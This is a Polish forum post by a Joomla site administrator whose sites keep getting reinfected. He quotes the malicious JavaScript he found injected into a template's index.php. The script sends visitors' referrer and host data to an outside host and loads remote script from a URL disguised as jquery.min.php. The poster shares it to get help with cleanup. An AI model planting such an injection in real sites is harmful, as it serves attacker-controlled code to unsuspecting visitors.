Problemy z joomlą zaczęły mi się odkąd pojawiły się ostatnie 0-day. Moja wina, bo niektóre strony nie były aktualizowane. Poszyściłem, poprzywracałem zdrowe kopie, zaktualizowałem do najnowszej wersji i znów to samo... Już mi ręce opadają więc może mi pomożecie.
W pliku index.php templatki mam wstrzyknięty kod typu:
Kod PHP:
<script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "http://www.designer-beds.com/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>');}</script>
Pliki jednak mają datę i godzinę dokładnie tą, w której edytowałem je aby wyczyścić. Wydaje mi się to conajmniej dziwne.
Zostało mi kilka joomli, których nie zdążyłem zaktualizować, ale wyłączyłem te domeny i nie da rady dostać się do nich przez żaden url, więc założyłem że mogą tak leżeć puki nie będę miał czasu na migrację.
Gdzie i w jaki sposób szukać problemu?